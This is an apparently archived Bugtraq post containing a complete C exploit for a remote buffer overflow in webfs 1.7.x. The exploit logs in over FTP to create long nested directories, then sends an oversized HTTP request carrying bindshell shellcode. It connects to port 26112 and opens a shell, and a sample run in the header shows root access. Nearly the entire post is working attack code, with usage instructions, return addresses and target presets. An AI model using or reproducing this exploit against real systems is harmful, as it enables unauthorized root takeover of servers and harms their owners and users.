webfs 1.7.x:webserver remote file overflow exploit (use ftpd to mkdir)

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Date: 22 Nov 2003 09:29:55 -0000
To: bugtraq@securityfocus.com

/*********************************************************************************\
*hate money. if you have much. please *** ,lol...
*only love #ph4nt0m(irc.ox557.org) #cheese..(sec..)
*page: jsk.ph4nt0m.org
*love taiwan. nah :( chen&li. go die...........
*[root@localhost root]# ./hack -h 127.0.0.1 -p 80 -u jsk -a 3465008 -c /*tmp
*webfs 1.7.x:webserver remote file overflow exploit (use ftpd to mkdir)
*Greets all #ph4nt0m .
*it is too *** .
*[+] Hostname: 127.0.0.1
*[+] Port num: 80
*[+] Retaddr address: 0xbfffd838
*[1] #1 Set codes.
*[*] attempting to connect: 127.0.0.1:21.
*[*] successfully connected: 127.0.0.1:21.
*<- 220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [localhost.*localdo...<- Proftpd
*-> USER jsk
*<- 331 Password required for jsk.
*-> PASS 3465008
*<- 230 User jsk logged in.
*-> CWD /tmp
*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD ????????????????????????????????????????????????????????
*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> *CWD ????????????????????????????????????????????????????????
*<- 250 CWD command successful.
*[1] #1 Set socket.
*[*] attempting to connect: 127.0.0.1:80.
*[*] successfully connected: 127.0.0.1:80.
*[1] #1 Send codes.
*[1] #3 Get shell.
*[*] checking to see if the exploit was successful.
*[*] attempting to connect: 127.0.0.1:26112.
*[*] successfully connected: 127.0.0.1:26112.

*Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 *i686 i386 GNU/Linux
*uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
\*********************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <getopt.h>
#include <ctype.h>
#include <time.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFSIZE 220
#define BUFSIZE2 166
#define BUFSIZE3 1024
#define D_PORT 5803
#define D_HOST "www.ph4nt0m.org"
#define TIMEOUT 10
#define jretaddr 0x80588a8 /* Use 0x44434241 debug x/30000x $eax-10000. */
unsigned short no_io=0; /* do not show traffic. */
unsigned int attempts=100; /* number of times to brute. */
unsigned int columns=80; /* generic screen width. */
unsigned int ftp_i=0;
char *user; /* username to use. */
char *pass; /* password to use. */
char *writedir;
char shell[]= /* bindshell(26112)&, netric. */

        "\x90\x90\x90\x31\xdb\xf7\xe3\x53\x43\x53"
        "\x6a\x02\x89\xe1\xb0\x66\x52"
        "\x50\xcd\x80\x43\x66\x53\x89"
        "\xe1\x6a\x10\x51\x50\x89\xe1"
        "\x52\x50\xb0\x66\xcd\x80\x89"
        "\xe1\xb3\x04\xb0\x66\xcd\x80"
        "\x43\xb0\x66\xcd\x80\x89\xd9"
        "\x93\xb0\x3f\xcd\x80\x49\x79"
        "\xf9\x52\x68\x6e\x2f\x73\x68"
        "\x68\x2f\x2f\x62\x69\x89\xe3"
        "\x52\x53\x89\xe1\xb0\x0b\xcd"
        "\x80";
struct op_plat_st
{
int op_plat_num;
char *op_plat_sys;
u_long retaddr;
int off_st;
};

struct op_plat_st __pl_form[]=
{
{0,"red 8.0",0xbfffd838,0},
{1,"DEADOS",0x44434241,0},
NULL
};
void filter_text(char *);
void banrl();
void x_fp_rm_usage(char *x_fp_rm);
unsigned short sock_connect(char *,unsigned short);
void getshell(char *,unsigned short);
void ftp_printf(int,char *,...);
void ftp_read(int);
void ftp_parse(int);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
void banrl()
{
fprintf(stdout,"\n webfs 1.7.x:webserver remote buffer overflow exploit)\n");
fprintf(stdout," Greets all #ph4nt0m .\n");
fprintf(stdout," it is too *** .\n");
}

void x_fp_rm_usage(char *x_fp_rm)
{
int __t_xmp=0;
fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm);
fprintf(stdout,"\t -h [hostname] - target host.\n");
fprintf(stdout,"\t -p [port] - port number.\n");
fprintf(stdout,"\t -u [user] - user.\n");
fprintf(stdout,"\t -a [pass] - pass.\n");
fprintf(stdout,"\t -c [file] - writetmp.\n");
fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n");
fprintf(stdout," Example> %s -h target_hostname -p 8000 -u jsk -a 1234 -c /tmp -t num\n",x_fp_rm);
fprintf(stdout," Select target number>\n\n");
for(;;)
{
if(__pl_form[__t_xmp].op_plat_num==(0x82))
break;
else
{
fprintf(stdout,"\t {%d} %s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys);
}

__t_xmp++;
}

fprintf(stdout,"\n");
exit(0);
}

int main(int argc,char *argv[])
{
int port=D_PORT;
char hostname[0x333]=D_HOST;
int whlp,type=0;
unsigned int i=0;
char buf[141];
char buf2[2078];
char sendbuf[3150];
char buf3[141];
int sd;
int ftpsd;
u_long retaddr=__pl_form[type].retaddr;

(void)banrl();
while((whlp=getopt(argc,argv,"T:t:H:h:u:c:a:P:p:IiXx"))!=EOF)
{
extern char *optarg;
switch(whlp)
{
case 'T':
case 't':
if((type=atoi(optarg))<6)
{
retaddr=__pl_form[type].retaddr;
}
else (void)x_fp_rm_usage(argv[0]);
break;

case 'H':
case 'h':
memset((char *)hostname,0,sizeof(hostname));
strncpy(hostname,optarg,sizeof(hostname)-1);
break;

case 'u':
 if(!user&&!(user=(char *)strdup(optarg)))
  printe("main(): allocating memory failed.",1);
 break;
case 'a':
 if(!pass&&!(pass=(char *)strdup(optarg)))
  printe("main(): allocating memory failed.",1);
 break;
case 'c':
 if(!writedir&&!(writedir=(char *)strdup(optarg)))
  printe("main(): allocating memory failed.",1);
 break;

case 'P':
case 'p':
port=atoi(optarg);
break;

case 'I':
case 'i':
fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]);
exit(-1);

case '?':
(void)x_fp_rm_usage(argv[0]);
break;
}
}

if(!strcmp(hostname,D_HOST))
{
(void)x_fp_rm_usage(argv[0]);
}
else
{
fprintf(stdout," [+] Hostname: %s\n",hostname);
fprintf(stdout," [+] Port num: %d\n",port);
fprintf(stdout," [+] Retaddr address: %p\n",retaddr);
}

fprintf(stdout," [1] #1 Set codes.\n");
 ftpsd=sock_connect(hostname,21);
 ftp_parse(ftpsd);
 memset(buf3,0x42,141);
 memset(buf2,0x90,1000);
 memcpy(buf2+1000,shell,strlen(shell));
 memset(buf2+1000+strlen(shell),0x90,1000);
 snprintf(sendbuf,3150,"GET /%s/%s/%s/%s/%s/%s/%s/ HTTP/1.0\r\nUser-Agent: %s\r\n\r\n",buf3,buf3,buf3,buf3,buf3,buf3,buf3,buf2);
 fprintf(stdout," [1] #1 Set socket.\n");

 sd=sock_connect(hostname,port);
fprintf(stdout," [1] #1 Send codes.\n");
 write(sd,sendbuf,3150);

 close(sd);
 sleep(10);
fprintf(stdout," [1] #3 Get shell.\n");
 getshell(hostname,26112);
 exit(0);

}
unsigned short sock_connect(char *hostname,
unsigned short port){
 int sock;
 struct hostent *t;
 struct sockaddr_in s;
 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 s.sin_family=AF_INET;
 s.sin_port=htons(port);
 printf("[*] attempting to connect: %s:%d.\n",hostname,port);
 if((s.sin_addr.s_addr=inet_addr(hostname))){
  if(!(t=gethostbyname(hostname)))
   printe("couldn't resolve hostname.",1);
  memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  sizeof(s.sin_addr));
 }

 signal(SIGALRM,sig_alarm);
 alarm(TIMEOUT);
 if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  printe("netris connection failed.",1);
 alarm(0);
 printf("[*] successfully connected: %s:%d.\n",hostname,port);
 return(sock);
 }

void getshell(char *hostname,unsigned short port){
 int sock,r;
 fd_set fds;
 char buf[4096+1];
 struct hostent *he;
 struct sockaddr_in sa;
 printf("[*] checking to see if the exploit was successful.\n");
 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  printe("getshell(): socket() failed.",1);
 sa.sin_family=AF_INET;
 if((sa.sin_addr.s_addr=inet_addr(hostname))){
  if(!(he=gethostbyname(hostname)))
   printe("getshell(): couldn't resolve.",1);
  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  sizeof(sa.sin_addr));
 }

 sa.sin_port=htons(port);
 signal(SIGALRM,sig_alarm);
 alarm(TIMEOUT);
 printf("[*] attempting to connect: %s:%d.\n",hostname,port);
 if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  printf("[!] connection failed: %s:%d.\n",hostname,port);
  return;
 }

 alarm(0);
 printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
 signal(SIGINT,SIG_IGN);
 write(sock,"uname -a;id\n",13);
 while(1){
  FD_ZERO(&fds);
  FD_SET(0,&fds);
  FD_SET(sock,&fds);
  if(select(sock+1,&fds,0,0,0)<1)
   printe("getshell(): select() failed.",1);
  if(FD_ISSET(0,&fds)){
   if((r=read(0,buf,4096))<1)
    printe("getshell(): read() failed.",1);
   if(write(sock,buf,r)!=r)
    printe("getshell(): write() failed.",1);
  }

  if(FD_ISSET(sock,&fds)){
   if((r=read(sock,buf,4096))<1)
    exit(0);
   write(1,buf,r);
  }
 }

 close(sock);
 return;
}

void printe(char *err,short e){
 fprintf(stdout," [-] Failed.\n\n");
 fprintf(stdout," Happy Exploit ! :-)\n\n");
 if(e)
  exit(1);
 return;
}
void filter_text(char *ptr){
 unsigned int i=0;
 for(i=0;i<strlen(ptr);i++){
  /* keep it short and sweet. */
  if(i>=(columns-3)){
   ptr[i--]=0x0;
   ptr[i--]='.';
   ptr[i--]='.';
   ptr[i]='.';
  }
  /* don't make \r or \n a '?'. */
  else if(ptr[i]=='\r'||ptr[i]=='\n')ptr[i]=0x0;
  /* don't ugly the local terminal. */
  else if(!isprint(ptr[i]))ptr[i]='?';
 }
 return;
}
void ftp_printf(int ftpsd,char *fmt,...){
 char *buf;
 va_list ap;
 if(!(buf=(char *)malloc(1024+1)))
  printe("ftp_printf(): allocating memory failed.",1);
 memset(buf,0x0,1024+1);
 va_start(ap,fmt);
 vsnprintf(buf,1024,fmt,ap);
 va_end(ap);
 write(ftpsd,buf,strlen(buf)); /* write it, then mod it for display. */
 filter_text(buf);
 if(!no_io)
  printf("-> %s\n",buf);
 free(buf);
 return;
}
void ftp_read(int ftpsd){
 char *buf;
 if(!(buf=(char *)malloc(1024+1)))
  printe("ftp_read(): allocating memory failed.",1);
 memset(buf,0x0,1024);
 read(ftpsd,buf,1024);
 filter_text(buf);
 if(!no_io)
  printf("<- %s\n",buf);
 /* some initial reply checking, not too much. */
 if(!ftp_i)
  if(!strstr(buf,"GtkFTPd"))
  printf("<- %s\n","Proftpd");
 if(ftp_i==2)
  if(strncmp(buf,"230",3))
   printe("invalid username/password, failed.",1);
 if(ftp_i==3)
  if(strncmp(buf,"250",3))
   printe("invalid writable directory, failed. (try \"/\")",1);
 free(buf);
 ftp_i++; /* increase the response identifier. */
 return;
}
void ftp_parse(int ftpsd){
char *buf4;
char *bux;
if(!(buf4=(char *)malloc(141+1)))
  printe(" allocating memory failed.",1);
if(!(bux=(char *)malloc(56+1)))
  printe(" allocating memory failed.",1);
 unsigned int offset=0;
 unsigned int i=0;
 memset(buf4, 0x42 , 141);
 for(i=0;i<56;i+=4){*(long *)&bux[i]=jretaddr;}
 ftp_read(ftpsd); /* get the banner. */
 ftp_printf(ftpsd,"USER %s\r\n",user);
 ftp_read(ftpsd);
 ftp_printf(ftpsd,"PASS %s\r\n",pass);
 ftp_read(ftpsd);
 ftp_printf(ftpsd,"CWD %s\r\n",writedir);
 ftp_read(ftpsd);
  ftp_printf(ftpsd,"MKD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"CWD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"MKD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"CWD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"MKD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"CWD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"MKD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"CWD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"MKD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"CWD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"MKD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"CWD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"MKD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"CWD %s\r\n",buf4);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"MKD %s\r\n",bux);
  ftp_read(ftpsd);
  ftp_printf(ftpsd,"CWD %s\r\n",bux);
  ftp_read(ftpsd);
  sleep(10);
  close(ftpsd);
}

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